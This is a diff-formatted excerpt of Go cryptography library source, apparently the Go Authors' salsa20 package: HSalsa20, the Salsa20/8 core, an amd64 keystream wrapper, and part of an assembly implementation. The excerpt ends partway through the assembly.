// We XOR up to 32 bytes of box with the keystream generated from
|
||||
// the first block.
|
||||
box = box[Overhead:]
|
||||
firstMessageBlock := box
|
||||
if len(firstMessageBlock) > 32 {
|
||||
firstMessageBlock = firstMessageBlock[:32]
|
||||
}
|
||||
for i, x := range firstMessageBlock {
|
||||
out[i] = firstBlock[32+i] ^ x
|
||||
}
|
||||
|
||||
box = box[len(firstMessageBlock):]
|
||||
out = out[len(firstMessageBlock):]
|
||||
|
||||
// Now decrypt the rest.
|
||||
counter[8] = 1
|
||||
salsa.XORKeyStream(out, box, &counter, &subKey)
|
||||
|
||||
return ret, true
|
||||
}
|
||||
|
|
@ -0,0 +1,146 @@
|
|||
// Copyright 2012 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package salsa provides low-level access to functions in the Salsa family.
|
||||
package salsa
|
||||
|
||||
import "math/bits"
|
||||
|
||||
// Sigma is the Salsa20 constant for 256-bit keys.
|
||||
var Sigma = [16]byte{'e', 'x', 'p', 'a', 'n', 'd', ' ', '3', '2', '-', 'b', 'y', 't', 'e', ' ', 'k'}
|
||||
|
||||
// HSalsa20 applies the HSalsa20 core function to a 16-byte input in, 32-byte
|
||||
// key k, and 16-byte constant c, and puts the result into the 32-byte array
|
||||
// out.
|
||||
func HSalsa20(out *[32]byte, in *[16]byte, k *[32]byte, c *[16]byte) {
|
||||
x0 := uint32(c[0]) | uint32(c[1])<<8 | uint32(c[2])<<16 | uint32(c[3])<<24
|
||||
x1 := uint32(k[0]) | uint32(k[1])<<8 | uint32(k[2])<<16 | uint32(k[3])<<24
|
||||
x2 := uint32(k[4]) | uint32(k[5])<<8 | uint32(k[6])<<16 | uint32(k[7])<<24
|
||||
x3 := uint32(k[8]) | uint32(k[9])<<8 | uint32(k[10])<<16 | uint32(k[11])<<24
|
||||
x4 := uint32(k[12]) | uint32(k[13])<<8 | uint32(k[14])<<16 | uint32(k[15])<<24
|
||||
x5 := uint32(c[4]) | uint32(c[5])<<8 | uint32(c[6])<<16 | uint32(c[7])<<24
|
||||
x6 := uint32(in[0]) | uint32(in[1])<<8 | uint32(in[2])<<16 | uint32(in[3])<<24
|
||||
x7 := uint32(in[4]) | uint32(in[5])<<8 | uint32(in[6])<<16 | uint32(in[7])<<24
|
||||
x8 := uint32(in[8]) | uint32(in[9])<<8 | uint32(in[10])<<16 | uint32(in[11])<<24
|
||||
x9 := uint32(in[12]) | uint32(in[13])<<8 | uint32(in[14])<<16 | uint32(in[15])<<24
|
||||
x10 := uint32(c[8]) | uint32(c[9])<<8 | uint32(c[10])<<16 | uint32(c[11])<<24
|
||||
x11 := uint32(k[16]) | uint32(k[17])<<8 | uint32(k[18])<<16 | uint32(k[19])<<24
|
||||
x12 := uint32(k[20]) | uint32(k[21])<<8 | uint32(k[22])<<16 | uint32(k[23])<<24
|
||||
x13 := uint32(k[24]) | uint32(k[25])<<8 | uint32(k[26])<<16 | uint32(k[27])<<24
|
||||
x14 := uint32(k[28]) | uint32(k[29])<<8 | uint32(k[30])<<16 | uint32(k[31])<<24
|
||||
x15 := uint32(c[12]) | uint32(c[13])<<8 | uint32(c[14])<<16 | uint32(c[15])<<24
|
||||
|
||||
for i := 0; i < 20; i += 2 {
|
||||
u := x0 + x12
|
||||
x4 ^= bits.RotateLeft32(u, 7)
|
||||
u = x4 + x0
|
||||
x8 ^= bits.RotateLeft32(u, 9)
|
||||
u = x8 + x4
|
||||
x12 ^= bits.RotateLeft32(u, 13)
|
||||
u = x12 + x8
|
||||
x0 ^= bits.RotateLeft32(u, 18)
|
||||
|
||||
u = x5 + x1
|
||||
x9 ^= bits.RotateLeft32(u, 7)
|
||||
u = x9 + x5
|
||||
x13 ^= bits.RotateLeft32(u, 9)
|
||||
u = x13 + x9
|
||||
x1 ^= bits.RotateLeft32(u, 13)
|
||||
u = x1 + x13
|
||||
x5 ^= bits.RotateLeft32(u, 18)
|
||||
|
||||
u = x10 + x6
|
||||
x14 ^= bits.RotateLeft32(u, 7)
|
||||
u = x14 + x10
|
||||
x2 ^= bits.RotateLeft32(u, 9)
|
||||
u = x2 + x14
|
||||
x6 ^= bits.RotateLeft32(u, 13)
|
||||
u = x6 + x2
|
||||
x10 ^= bits.RotateLeft32(u, 18)
|
||||
|
||||
u = x15 + x11
|
||||
x3 ^= bits.RotateLeft32(u, 7)
|
||||
u = x3 + x15
|
||||
x7 ^= bits.RotateLeft32(u, 9)
|
||||
u = x7 + x3
|
||||
x11 ^= bits.RotateLeft32(u, 13)
|
||||
u = x11 + x7
|
||||
x15 ^= bits.RotateLeft32(u, 18)
|
||||
|
||||
u = x0 + x3
|
||||
x1 ^= bits.RotateLeft32(u, 7)
|
||||
u = x1 + x0
|
||||
x2 ^= bits.RotateLeft32(u, 9)
|
||||
u = x2 + x1
|
||||
x3 ^= bits.RotateLeft32(u, 13)
|
||||
u = x3 + x2
|
||||
x0 ^= bits.RotateLeft32(u, 18)
|
||||
|
||||
u = x5 + x4
|
||||
x6 ^= bits.RotateLeft32(u, 7)
|
||||
u = x6 + x5
|
||||
x7 ^= bits.RotateLeft32(u, 9)
|
||||
u = x7 + x6
|
||||
x4 ^= bits.RotateLeft32(u, 13)
|
||||
u = x4 + x7
|
||||
x5 ^= bits.RotateLeft32(u, 18)
|
||||
|
||||
u = x10 + x9
|
||||
x11 ^= bits.RotateLeft32(u, 7)
|
||||
u = x11 + x10
|
||||
x8 ^= bits.RotateLeft32(u, 9)
|
||||
u = x8 + x11
|
||||
x9 ^= bits.RotateLeft32(u, 13)
|
||||
u = x9 + x8
|
||||
x10 ^= bits.RotateLeft32(u, 18)
|
||||
|
||||
u = x15 + x14
|
||||
x12 ^= bits.RotateLeft32(u, 7)
|
||||
u = x12 + x15
|
||||
x13 ^= bits.RotateLeft32(u, 9)
|
||||
u = x13 + x12
|
||||
x14 ^= bits.RotateLeft32(u, 13)
|
||||
u = x14 + x13
|
||||
x15 ^= bits.RotateLeft32(u, 18)
|
||||
}
|
||||
out[0] = byte(x0)
|
||||
out[1] = byte(x0 >> 8)
|
||||
out[2] = byte(x0 >> 16)
|
||||
out[3] = byte(x0 >> 24)
|
||||
|
||||
out[4] = byte(x5)
|
||||
out[5] = byte(x5 >> 8)
|
||||
out[6] = byte(x5 >> 16)
|
||||
out[7] = byte(x5 >> 24)
|
||||
|
||||
out[8] = byte(x10)
|
||||
out[9] = byte(x10 >> 8)
|
||||
out[10] = byte(x10 >> 16)
|
||||
out[11] = byte(x10 >> 24)
|
||||
|
||||
out[12] = byte(x15)
|
||||
out[13] = byte(x15 >> 8)
|
||||
out[14] = byte(x15 >> 16)
|
||||
out[15] = byte(x15 >> 24)
|
||||
|
||||
out[16] = byte(x6)
|
||||
out[17] = byte(x6 >> 8)
|
||||
out[18] = byte(x6 >> 16)
|
||||
out[19] = byte(x6 >> 24)
|
||||
|
||||
out[20] = byte(x7)
|
||||
out[21] = byte(x7 >> 8)
|
||||
out[22] = byte(x7 >> 16)
|
||||
out[23] = byte(x7 >> 24)
|
||||
|
||||
out[24] = byte(x8)
|
||||
out[25] = byte(x8 >> 8)
|
||||
out[26] = byte(x8 >> 16)
|
||||
out[27] = byte(x8 >> 24)
|
||||
|
||||
out[28] = byte(x9)
|
||||
out[29] = byte(x9 >> 8)
|
||||
out[30] = byte(x9 >> 16)
|
||||
out[31] = byte(x9 >> 24)
|
||||
}
|
||||
|
|
@ -0,0 +1,201 @@
|
|||
// Copyright 2012 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package salsa
|
||||
|
||||
import "math/bits"
|
||||
|
||||
// Core208 applies the Salsa20/8 core function to the 64-byte array in and puts
|
||||
// the result into the 64-byte array out. The input and output may be the same array.
|
||||
func Core208(out *[64]byte, in *[64]byte) {
|
||||
j0 := uint32(in[0]) | uint32(in[1])<<8 | uint32(in[2])<<16 | uint32(in[3])<<24
|
||||
j1 := uint32(in[4]) | uint32(in[5])<<8 | uint32(in[6])<<16 | uint32(in[7])<<24
|
||||
j2 := uint32(in[8]) | uint32(in[9])<<8 | uint32(in[10])<<16 | uint32(in[11])<<24
|
||||
j3 := uint32(in[12]) | uint32(in[13])<<8 | uint32(in[14])<<16 | uint32(in[15])<<24
|
||||
j4 := uint32(in[16]) | uint32(in[17])<<8 | uint32(in[18])<<16 | uint32(in[19])<<24
|
||||
j5 := uint32(in[20]) | uint32(in[21])<<8 | uint32(in[22])<<16 | uint32(in[23])<<24
|
||||
j6 := uint32(in[24]) | uint32(in[25])<<8 | uint32(in[26])<<16 | uint32(in[27])<<24
|
||||
j7 := uint32(in[28]) | uint32(in[29])<<8 | uint32(in[30])<<16 | uint32(in[31])<<24
|
||||
j8 := uint32(in[32]) | uint32(in[33])<<8 | uint32(in[34])<<16 | uint32(in[35])<<24
|
||||
j9 := uint32(in[36]) | uint32(in[37])<<8 | uint32(in[38])<<16 | uint32(in[39])<<24
|
||||
j10 := uint32(in[40]) | uint32(in[41])<<8 | uint32(in[42])<<16 | uint32(in[43])<<24
|
||||
j11 := uint32(in[44]) | uint32(in[45])<<8 | uint32(in[46])<<16 | uint32(in[47])<<24
|
||||
j12 := uint32(in[48]) | uint32(in[49])<<8 | uint32(in[50])<<16 | uint32(in[51])<<24
|
||||
j13 := uint32(in[52]) | uint32(in[53])<<8 | uint32(in[54])<<16 | uint32(in[55])<<24
|
||||
j14 := uint32(in[56]) | uint32(in[57])<<8 | uint32(in[58])<<16 | uint32(in[59])<<24
|
||||
j15 := uint32(in[60]) | uint32(in[61])<<8 | uint32(in[62])<<16 | uint32(in[63])<<24
|
||||
|
||||
x0, x1, x2, x3, x4, x5, x6, x7, x8 := j0, j1, j2, j3, j4, j5, j6, j7, j8
|
||||
x9, x10, x11, x12, x13, x14, x15 := j9, j10, j11, j12, j13, j14, j15
|
||||
|
||||
for i := 0; i < 8; i += 2 {
|
||||
u := x0 + x12
|
||||
x4 ^= bits.RotateLeft32(u, 7)
|
||||
u = x4 + x0
|
||||
x8 ^= bits.RotateLeft32(u, 9)
|
||||
u = x8 + x4
|
||||
x12 ^= bits.RotateLeft32(u, 13)
|
||||
u = x12 + x8
|
||||
x0 ^= bits.RotateLeft32(u, 18)
|
||||
|
||||
u = x5 + x1
|
||||
x9 ^= bits.RotateLeft32(u, 7)
|
||||
u = x9 + x5
|
||||
x13 ^= bits.RotateLeft32(u, 9)
|
||||
u = x13 + x9
|
||||
x1 ^= bits.RotateLeft32(u, 13)
|
||||
u = x1 + x13
|
||||
x5 ^= bits.RotateLeft32(u, 18)
|
||||
|
||||
u = x10 + x6
|
||||
x14 ^= bits.RotateLeft32(u, 7)
|
||||
u = x14 + x10
|
||||
x2 ^= bits.RotateLeft32(u, 9)
|
||||
u = x2 + x14
|
||||
x6 ^= bits.RotateLeft32(u, 13)
|
||||
u = x6 + x2
|
||||
x10 ^= bits.RotateLeft32(u, 18)
|
||||
|
||||
u = x15 + x11
|
||||
x3 ^= bits.RotateLeft32(u, 7)
|
||||
u = x3 + x15
|
||||
x7 ^= bits.RotateLeft32(u, 9)
|
||||
u = x7 + x3
|
||||
x11 ^= bits.RotateLeft32(u, 13)
|
||||
u = x11 + x7
|
||||
x15 ^= bits.RotateLeft32(u, 18)
|
||||
|
||||
u = x0 + x3
|
||||
x1 ^= bits.RotateLeft32(u, 7)
|
||||
u = x1 + x0
|
||||
x2 ^= bits.RotateLeft32(u, 9)
|
||||
u = x2 + x1
|
||||
x3 ^= bits.RotateLeft32(u, 13)
|
||||
u = x3 + x2
|
||||
x0 ^= bits.RotateLeft32(u, 18)
|
||||
|
||||
u = x5 + x4
|
||||
x6 ^= bits.RotateLeft32(u, 7)
|
||||
u = x6 + x5
|
||||
x7 ^= bits.RotateLeft32(u, 9)
|
||||
u = x7 + x6
|
||||
x4 ^= bits.RotateLeft32(u, 13)
|
||||
u = x4 + x7
|
||||
x5 ^= bits.RotateLeft32(u, 18)
|
||||
|
||||
u = x10 + x9
|
||||
x11 ^= bits.RotateLeft32(u, 7)
|
||||
u = x11 + x10
|
||||
x8 ^= bits.RotateLeft32(u, 9)
|
||||
u = x8 + x11
|
||||
x9 ^= bits.RotateLeft32(u, 13)
|
||||
u = x9 + x8
|
||||
x10 ^= bits.RotateLeft32(u, 18)
|
||||
|
||||
u = x15 + x14
|
||||
x12 ^= bits.RotateLeft32(u, 7)
|
||||
u = x12 + x15
|
||||
x13 ^= bits.RotateLeft32(u, 9)
|
||||
u = x13 + x12
|
||||
x14 ^= bits.RotateLeft32(u, 13)
|
||||
u = x14 + x13
|
||||
x15 ^= bits.RotateLeft32(u, 18)
|
||||
}
|
||||
x0 += j0
|
||||
x1 += j1
|
||||
x2 += j2
|
||||
x3 += j3
|
||||
x4 += j4
|
||||
x5 += j5
|
||||
x6 += j6
|
||||
x7 += j7
|
||||
x8 += j8
|
||||
x9 += j9
|
||||
x10 += j10
|
||||
x11 += j11
|
||||
x12 += j12
|
||||
x13 += j13
|
||||
x14 += j14
|
||||
x15 += j15
|
||||
|
||||
out[0] = byte(x0)
|
||||
out[1] = byte(x0 >> 8)
|
||||
out[2] = byte(x0 >> 16)
|
||||
out[3] = byte(x0 >> 24)
|
||||
|
||||
out[4] = byte(x1)
|
||||
out[5] = byte(x1 >> 8)
|
||||
out[6] = byte(x1 >> 16)
|
||||
out[7] = byte(x1 >> 24)
|
||||
|
||||
out[8] = byte(x2)
|
||||
out[9] = byte(x2 >> 8)
|
||||
out[10] = byte(x2 >> 16)
|
||||
out[11] = byte(x2 >> 24)
|
||||
|
||||
out[12] = byte(x3)
|
||||
out[13] = byte(x3 >> 8)
|
||||
out[14] = byte(x3 >> 16)
|
||||
out[15] = byte(x3 >> 24)
|
||||
|
||||
out[16] = byte(x4)
|
||||
out[17] = byte(x4 >> 8)
|
||||
out[18] = byte(x4 >> 16)
|
||||
out[19] = byte(x4 >> 24)
|
||||
|
||||
out[20] = byte(x5)
|
||||
out[21] = byte(x5 >> 8)
|
||||
out[22] = byte(x5 >> 16)
|
||||
out[23] = byte(x5 >> 24)
|
||||
|
||||
out[24] = byte(x6)
|
||||
out[25] = byte(x6 >> 8)
|
||||
out[26] = byte(x6 >> 16)
|
||||
out[27] = byte(x6 >> 24)
|
||||
|
||||
out[28] = byte(x7)
|
||||
out[29] = byte(x7 >> 8)
|
||||
out[30] = byte(x7 >> 16)
|
||||
out[31] = byte(x7 >> 24)
|
||||
|
||||
out[32] = byte(x8)
|
||||
out[33] = byte(x8 >> 8)
|
||||
out[34] = byte(x8 >> 16)
|
||||
out[35] = byte(x8 >> 24)
|
||||
|
||||
out[36] = byte(x9)
|
||||
out[37] = byte(x9 >> 8)
|
||||
out[38] = byte(x9 >> 16)
|
||||
out[39] = byte(x9 >> 24)
|
||||
|
||||
out[40] = byte(x10)
|
||||
out[41] = byte(x10 >> 8)
|
||||
out[42] = byte(x10 >> 16)
|
||||
out[43] = byte(x10 >> 24)
|
||||
|
||||
out[44] = byte(x11)
|
||||
out[45] = byte(x11 >> 8)
|
||||
out[46] = byte(x11 >> 16)
|
||||
out[47] = byte(x11 >> 24)
|
||||
|
||||
out[48] = byte(x12)
|
||||
out[49] = byte(x12 >> 8)
|
||||
out[50] = byte(x12 >> 16)
|
||||
out[51] = byte(x12 >> 24)
|
||||
|
||||
out[52] = byte(x13)
|
||||
out[53] = byte(x13 >> 8)
|
||||
out[54] = byte(x13 >> 16)
|
||||
out[55] = byte(x13 >> 24)
|
||||
|
||||
out[56] = byte(x14)
|
||||
out[57] = byte(x14 >> 8)
|
||||
out[58] = byte(x14 >> 16)
|
||||
out[59] = byte(x14 >> 24)
|
||||
|
||||
out[60] = byte(x15)
|
||||
out[61] = byte(x15 >> 8)
|
||||
out[62] = byte(x15 >> 16)
|
||||
out[63] = byte(x15 >> 24)
|
||||
}
|
||||
|
|
@ -0,0 +1,23 @@
|
|||
// Copyright 2012 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
//go:build amd64 && !purego && gc
|
||||
|
||||
package salsa
|
||||
|
||||
//go:noescape
|
||||
|
||||
// salsa2020XORKeyStream is implemented in salsa20_amd64.s.
|
||||
func salsa2020XORKeyStream(out, in *byte, n uint64, nonce, key *byte)
|
||||
|
||||
// XORKeyStream crypts bytes from in to out using the given key and counters.
|
||||
// In and out must overlap entirely or not at all. Counter
|
||||
// contains the raw salsa20 counter bytes (both nonce and block counter).
|
||||
func XORKeyStream(out, in []byte, counter *[16]byte, key *[32]byte) {
|
||||
if len(in) == 0 {
|
||||
return
|
||||
}
|
||||
_ = out[len(in)-1]
|
||||
salsa2020XORKeyStream(&out[0], &in[0], uint64(len(in)), &counter[0], &key[0])
|
||||
}
|
||||
|
|
@ -0,0 +1,880 @@
|
|||
// Copyright 2012 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
//go:build amd64 && !purego && gc
|
||||
|
||||
// This code was translated into a form compatible with 6a from the public
|
||||
// domain sources in SUPERCOP: https://bench.cr.yp.to/supercop.html
|
||||
|
||||
// func salsa2020XORKeyStream(out, in *byte, n uint64, nonce, key *byte)
|
||||
// This needs up to 64 bytes at 360(R12); hence the non-obvious frame size.
|
||||
TEXT ·salsa2020XORKeyStream(SB),0,$456-40 // frame = 424 + 32 byte alignment
|
||||
MOVQ out+0(FP),DI
|
||||
MOVQ in+8(FP),SI
|
||||
MOVQ n+16(FP),DX
|
||||
MOVQ nonce+24(FP),CX
|
||||
MOVQ key+32(FP),R8
|
||||
|
||||
MOVQ SP,R12
|
||||
ADDQ $31, R12
|
||||
ANDQ $~31, R12
|
||||
|
||||
MOVQ DX,R9
|
||||
MOVQ CX,DX
|
||||
MOVQ R8,R10
|
||||
CMPQ R9,$0
|
||||
JBE DONE
|
||||
START:
|
||||
MOVL 20(R10),CX
|
||||
MOVL 0(R10),R8
|
||||
MOVL 0(DX),AX
|
||||
MOVL 16(R10),R11
|
||||
MOVL CX,0(R12)
|
||||
MOVL R8, 4 (R12)
|
||||
MOVL AX, 8 (R12)
|
||||
MOVL R11, 12 (R12)
|
||||
MOVL 8(DX),CX
|
||||
MOVL 24(R10),R8
|
||||
MOVL 4(R10),AX
|
||||
MOVL 4(DX),R11
|
||||
MOVL CX,16(R12)
|
||||
MOVL R8, 20 (R12)
|
||||
MOVL AX, 24 (R12)
|
||||
MOVL R11, 28 (R12)
|
||||
MOVL 12(DX),CX
|
||||
MOVL 12(R10),DX
|
||||
MOVL 28(R10),R8
|
||||
MOVL 8(R10),AX
|
||||
MOVL DX,32(R12)
|
||||
MOVL CX, 36 (R12)
|
||||
MOVL R8, 40 (R12)
|
||||
MOVL AX, 44 (R12)
|
||||
MOVQ $1634760805,DX
|
||||
MOVQ $857760878,CX
|
||||
MOVQ $2036477234,R8
|
||||
MOVQ $1797285236,AX
|
||||
MOVL DX,48(R12)
|
||||
MOVL CX, 52 (R12)
|
||||
MOVL R8, 56 (R12)
|
||||
MOVL AX, 60 (R12)
|
||||
CMPQ R9,$256
|
||||
JB BYTESBETWEEN1AND255
|
||||
MOVOA 48(R12),X0
|
||||
PSHUFL $0X55,X0,X1
|
||||
PSHUFL $0XAA,X0,X2
|
||||
PSHUFL $0XFF,X0,X3
|
||||
PSHUFL $0X00,X0,X0
|
||||
MOVOA X1,64(R12)
|
||||
MOVOA X2,80(R12)
|
||||
MOVOA X3,96(R12)
|
||||
MOVOA X0,112(R12)
|
||||
MOVOA 0(R12),X0
|
||||
PSHUFL $0XAA,X0,X1
|
||||
PSHUFL $0XFF,X0,X2
|
||||
PSHUFL $0X00,X0,X3
|
||||
PSHUFL $0X55,X0,X0
|
||||
MOVOA X1,128(R12)
|
||||
MOVOA X2,144(R12)
|
||||
MOVOA X3,160(R12)
|
||||
MOVOA X0,176(R12)
|
||||
MOVOA 16(R12),X0
|
||||
PSHUFL $0XFF,X0,X1
|
||||
PSHUFL $0X55,X0,X2
|
||||
PSHUFL $0XAA,X0,X0
|
||||
MOVOA X1,192(R12)
|
||||
MOVOA X2,208(R12)
|
||||
MOVOA X0,224(R12)
|
||||
MOVOA 32(R12),X0
|
||||
PSHUFL $0X00,X0,X1
|
||||
PSHUFL $0XAA,X0,X2
|
||||
PSHUFL $0XFF,X0,X0
|
||||
MOVOA X1,240(R12)
|
||||
MOVOA X2,256(R12)
|
||||
MOVOA X0,272(R12)
|
||||
BYTESATLEAST256:
|
||||
MOVL 16(R12),DX
|
||||
MOVL 36 (R12),CX
|
||||
MOVL DX,288(R12)
|
||||
MOVL CX,304(R12)
|
||||
SHLQ $32,CX
|
||||
ADDQ CX,DX
|
||||
ADDQ $1,DX
|
||||
MOVQ DX,CX
|
||||
SHRQ $32,CX
|
||||
MOVL DX, 292 (R12)
|
||||
MOVL CX, 308 (R12)
|
||||
ADDQ $1,DX
|
||||
MOVQ DX,CX
|
||||
SHRQ $32,CX
|
||||
MOVL DX, 296 (R12)
|
||||
MOVL CX, 312 (R12)
|
||||
ADDQ $1,DX
|
||||
MOVQ DX,CX
|
||||
SHRQ $32,CX
|
||||
MOVL DX, 300 (R12)
|
||||
MOVL CX, 316 (R12)
|
||||
ADDQ $1,DX
|
||||
MOVQ DX,CX
|
||||
SHRQ $32,CX
|
||||
MOVL DX,16(R12)
|
||||
MOVL CX, 36 (R12)
|
||||
MOVQ R9,352(R12)
|
||||
MOVQ $20,DX
|
||||
MOVOA 64(R12),X0
|
||||
MOVOA 80(R12),X1
|
||||
MOVOA 96(R12),X2
|
||||
MOVOA 256(R12),X3
|
||||
MOVOA 272(R12),X4
|
||||
MOVOA 128(R12),X5
|
||||
MOVOA 144(R12),X6
|
||||
MOVOA 176(R12),X7
|
||||
MOVOA 192(R12),X8
|
||||
MOVOA 208(R12),X9
|
||||
MOVOA 224(R12),X10
|
||||
MOVOA 304(R12),X11
|
||||
MOVOA 112(R12),X12
|
||||
MOVOA 160(R12),X13
|
||||
MOVOA 240(R12),X14
|
||||
MOVOA 288(R12),X15
|
||||
MAINLOOP1:
|
||||
MOVOA X1,320(R12)
|
||||
MOVOA X2,336(R12)
|
||||
MOVOA X13,X1
|
||||
PADDL X12,X1
|
||||
MOVOA X1,X2
|
||||
PSLLL $7,X1
|
||||
PXOR X1,X14
|
||||
PSRLL $25,X2
|
||||
PXOR X2,X14
|
||||
MOVOA X7,X1
|
||||
PADDL X0,X1
|
||||
MOVOA X1,X2
|
||||
PSLLL $7,X1
|
||||
PXOR X1,X11
|
||||
PSRLL $25,X2
|
||||
PXOR X2,X11
|
||||
MOVOA X12,X1
|
||||
PADDL X14,X1
|
||||
MOVOA X1,X2
|
||||
PSLLL $9,X1
|
||||
PXOR X1,X15
|
||||
PSRLL $23,X2
|
||||
PXOR X2,X15
|
||||
MOVOA X0,X1
|
||||
PADDL X11,X1
|
||||
MOVOA X1,X2
|
||||
PSLLL $9,X1
|
||||
PXOR X1,X9
|
||||
PSRLL $23,X2
|
||||
PXOR X2,X9
|
||||
MOVOA X14,X1
|
||||
PADDL X15,X1
|
||||
MOVOA X1,X2
|
||||
PSLLL $13,X1
|
||||
PXOR X1,X13
|
||||
PSRLL $19,X2
|
||||
PXOR X2,X13
|
||||
MOVOA X11,X1
|
||||
PADDL X9,X1
|
||||
MOVOA X1,X2
|
||||
PSLLL $13,X1
|
||||
PXOR X1,X7
|
||||
PSRLL $19,X2
|
||||
PXOR X2,X7
|
||||
MOVOA X15,X1
|
||||
PADDL X13,X1
|
||||
MOVOA X1,X2
|
||||
PSLLL $18,X1
|
||||
PXOR X1,X12
|
||||
PSRLL $14,X2
|
||||
PXOR X2,X12
|
||||
MOVOA 320(R12),X1
|
||||
MOVOA X12,320(R12)
|
||||
MOVOA X9,X2
|
||||
PADDL X7,X2
|
||||
MOVOA X2,X12
|
||||
PSLLL $18,X2
|
||||
PXOR X2,X0
|
||||
PSRLL $14,X12
|
||||
PXOR X12,X0
|
||||
MOVOA X5,X2
|
||||
PADDL X1,X2
|
||||
MOVOA X2,X12
|
||||
PSLLL $7,X2
|
||||
PXOR X2,X3
|
||||
PSRLL $25,X12
|
||||
PXOR X12,X3
|
||||
MOVOA 336(R12),X2
|
||||
MOVOA X0,336(R12)
|
||||
MOVOA X6,X0
|
||||
PADDL X2,X0
|
||||
MOVOA X0,X12
|
||||
PSLLL $7,X0
|
||||
PXOR X0,X4
|
||||
PSRLL $25,X12
|
||||
PXOR X12,X4
|
||||
MOVOA X1,X0
|
||||
PADDL X3,X0
|
||||
MOVOA X0,X12
|
||||
PSLLL $9,X0
|
||||
PXOR X0,X10
|
||||
PSRLL $23,X12
|
||||
PXOR X12,X10
|
||||
MOVOA X2,X0
|
||||
PADDL X4,X0
|
||||
MOVOA X0,X12
|
||||
PSLLL $9,X0
|
||||
PXOR X0,X8
|
||||
PSRLL $23,X12
|
||||
PXOR X12,X8
|
||||
MOVOA X3,X0
|
||||
PADDL X10,X0
|
||||
MOVOA X0,X12
|
||||
PSLLL $13,X0
|
||||
PXOR X0,X5
|
||||
PSRLL $19,X12
|
||||
PXOR X12,X5
|
||||
MOVOA X4,X0
|
||||
PADDL X8,X0
|
||||
MOVOA X0,X12
|
||||
PSLLL $13,X0
|
||||
PXOR X0,X6
|
||||
PSRLL $19,X12
|
||||
PXOR X12,X6
|
||||
MOVOA X10,X0
|
||||
PADDL X5,X0
|
||||
MOVOA X0,X12
|
||||
PSLLL $18,X0
|
||||
PXOR X0,X1
|
||||
PSRLL $14,X12
|
||||
PXOR X12,X1
|
||||
MOVOA 320(R12),X0
|
||||
MOVOA X1,320(R12)
|
||||
MOVOA X4,X1
|
||||
PADDL X0,X1
|
||||
MOVOA X1,X12
|
||||
PSLLL $7,X1
|
||||
PXOR X1,X7
|
||||
PSRLL $25,X12
|
||||
PXOR X12,X7
|
||||
MOVOA X8,X1
|
||||
PADDL X6,X1
|
||||
MOVOA X1,X12
|
||||
PSLLL $18,X1
|
||||
PXOR X1,X2
|
||||
PSRLL $14,X12
|
||||
PXOR X12,X2
|
||||
MOVOA 336(R12),X12
|
||||
MOVOA X2,336(R12)
|
||||
MOVOA X14,X1
|
||||
PADDL X12,X1
|
||||
MOVOA X1,X2
|
||||
PSLLL $7,X1
|
||||
PXOR X1,X5
|
||||
PSRLL $25,X2
|
||||
PXOR X2,X5
|
||||
MOVOA X0,X1
|
||||
PADDL X7,X1
|
||||
MOVOA X1,X2
|
||||
PSLLL $9,X1
|
||||
PXOR X1,X10
|
||||
PSRLL $23,X2
|
||||
PXOR X2,X10
|
||||
MOVOA X12,X1
|
||||
PADDL X5,X1
|
||||
MOVOA X1,X2
|
||||
PSLLL $9,X1
|
||||
PXOR X1,X8
|
||||
PSRLL $23,X2
|
||||
PXOR X2,X8
|
||||
MOVOA X7,X1
|
||||
PADDL X10,X1
|
||||
MOVOA X1,X2
|
||||
PSLLL $13,X1
|
||||
PXOR X1,X4
|
||||
PSRLL $19,X2
|
||||
PXOR X2,X4
|
||||
MOVOA X5,X1
|
||||
PADDL X8,X1
|
||||
MOVOA X1,X2
|
||||
PSLLL $13,X1
|
||||
PXOR X1,X14
|
||||
PSRLL $19,X2
|
||||
PXOR X2,X14
|
||||
MOVOA X10,X1
|
||||
PADDL X4,X1
|
||||
MOVOA X1,X2
|
||||
PSLLL $18,X1
|
||||
PXOR X1,X0
|
||||
PSRLL $14,X2
|
||||
PXOR X2,X0
|
||||
MOVOA 320(R12),X1
|
||||
MOVOA X0,320(R12)
|
||||
MOVOA X8,X0
|
||||
PADDL X14,X0
|
||||
MOVOA X0,X2
|
||||
PSLLL $18,X0
|
||||
PXOR X0,X12
|
||||
PSRLL $14,X2
|
||||
PXOR X2,X12
|
||||
MOVOA X11,X0
|
||||
PADDL X1,X0
|
||||
MOVOA X0,X2
|
||||
PSLLL $7,X0
|
||||
PXOR X0,X6
|
||||
PSRLL $25,X2
|
||||
PXOR X2,X6
|
||||
MOVOA 336(R12),X2
|
||||
MOVOA X12,336(R12)
|
||||
MOVOA X3,X0
|
||||
PADDL X2,X0
|
||||
MOVOA X0,X12
|
||||
PSLLL $7,X0
|
||||
PXOR X0,X13
|
||||
PSRLL $25,X12
|
||||
PXOR X12,X13
|
||||
MOVOA X1,X0
|
||||
PADDL X6,X0
|
||||
MOVOA X0,X12
|
||||
PSLLL $9,X0
|
||||
PXOR X0,X15
|
||||
PSRLL $23,X12
|
||||
PXOR X12,X15
|
||||
MOVOA X2,X0
|
||||
PADDL X13,X0
|
||||
MOVOA X0,X12
|
||||
PSLLL $9,X0
|
||||
PXOR X0,X9
|
||||
PSRLL $23,X12
|
||||
PXOR X12,X9
|
||||
MOVOA X6,X0
|
||||
PADDL X15,X0
|
||||
MOVOA X0,X12
|
||||
PSLLL $13,X0
|
||||
PXOR X0,X11
|
||||
PSRLL $19,X12
|
||||
PXOR X12,X11
|
||||
MOVOA X13,X0
|
||||
PADDL X9,X0
|
||||
MOVOA X0,X12
|
||||
PSLLL $13,X0
|
||||
PXOR X0,X3
|
||||
PSRLL $19,X12
|
||||
PXOR X12,X3
|
||||
MOVOA X15,X0
|
||||
PADDL X11,X0
|
||||
MOVOA X0,X12
|
||||
PSLLL $18,X0
|
||||
PXOR X0,X1
|
||||
PSRLL $14,X12
|
||||
PXOR X12,X1
|
||||
MOVOA X9,X0
|
||||
PADDL X3,X0
|
||||
MOVOA X0,X12
|
||||
PSLLL $18,X0
|
||||
PXOR X0,X2
|
||||
PSRLL $14,X12
|
||||
PXOR X12,X2
|
||||
MOVOA 320(R12),X12
|
||||
MOVOA 336(R12),X0
|
||||
